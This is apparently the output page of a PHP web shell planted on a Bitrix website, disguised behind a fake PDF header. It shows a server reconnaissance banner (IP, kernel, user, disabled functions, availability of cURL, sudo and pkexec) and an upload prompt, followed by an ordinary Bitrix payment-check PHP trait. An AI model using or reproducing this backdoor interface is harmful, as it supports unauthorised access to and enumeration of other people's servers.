%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.222.161.187 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/paysystem/cashbox/ |
Upload File : |
<?php namespace Bitrix\Sale\PaySystem\Cashbox; use Bitrix\Main; use Bitrix\Sale; Main\Localization\Loc::loadMessages(__FILE__); /** * Trait CheckTrait * @package Bitrix\Sale\PaySystem\Cashbox */ trait CheckTrait { /** * @param Sale\Payment $payment * @return Sale\PaySystem\ServiceResult */ private function buildCheckQuery(Sale\Payment $payment): Sale\PaySystem\ServiceResult { $result = new Sale\PaySystem\ServiceResult(); $documents = Sale\Cashbox\CheckManager::collateDocuments([$payment]); $document = current($documents); if ($document) { $check = Sale\Cashbox\CheckManager::createByType($document['TYPE']); if ($check) { $check->setEntities($document['ENTITIES']); $check->setRelatedEntities($document['RELATED_ENTITIES']); $service = $payment->getPaySystem(); if ($service) { /** @var Sale\Cashbox\CashboxPaySystem $cashboxClass */ $cashboxClass = $service->getCashboxClass(); $params = $service->getParamsBusValue($payment); $paySystemCodeForKkm = $cashboxClass::getPaySystemCodeForKkm(); $cashboxData = Sale\Cashbox\Manager::getList([ 'select' => ['ID'], 'filter' => [ '=ACTIVE' => 'Y', '=HANDLER' => $cashboxClass, '=KKM_ID' => $params[$paySystemCodeForKkm], ], ])->fetch(); if ($cashboxData) { $cashbox = Sale\Cashbox\Manager::getObjectById($cashboxData['ID']); if ($cashbox) { $result->setData($cashbox->buildCheckQuery($check)); } } else { $result->addError( new Main\Error( Main\Localization\Loc::getMessage('SALE_PAYSYSTEM_CASHBOX_CHECKTRAIT_CASHBOX_NOT_FOUND_ERROR') ) ); } } else { $result->addError( new Main\Error( Main\Localization\Loc::getMessage('SALE_PAYSYSTEM_CASHBOX_CHECKTRAIT_SERVICE_IS_EMPTY_ERROR') ) ); } } else { $result->addError( new Main\Error( Main\Localization\Loc::getMessage('SALE_PAYSYSTEM_CASHBOX_CHECKTRAIT_CHECK_IS_EMPTY_ERROR') ) ); } } else { $result->addError( new Main\Error( Main\Localization\Loc::getMessage('SALE_PAYSYSTEM_CASHBOX_CHECKTRAIT_DOCUMENT_IS_EMPTY_ERROR') ) ); } return $result; } }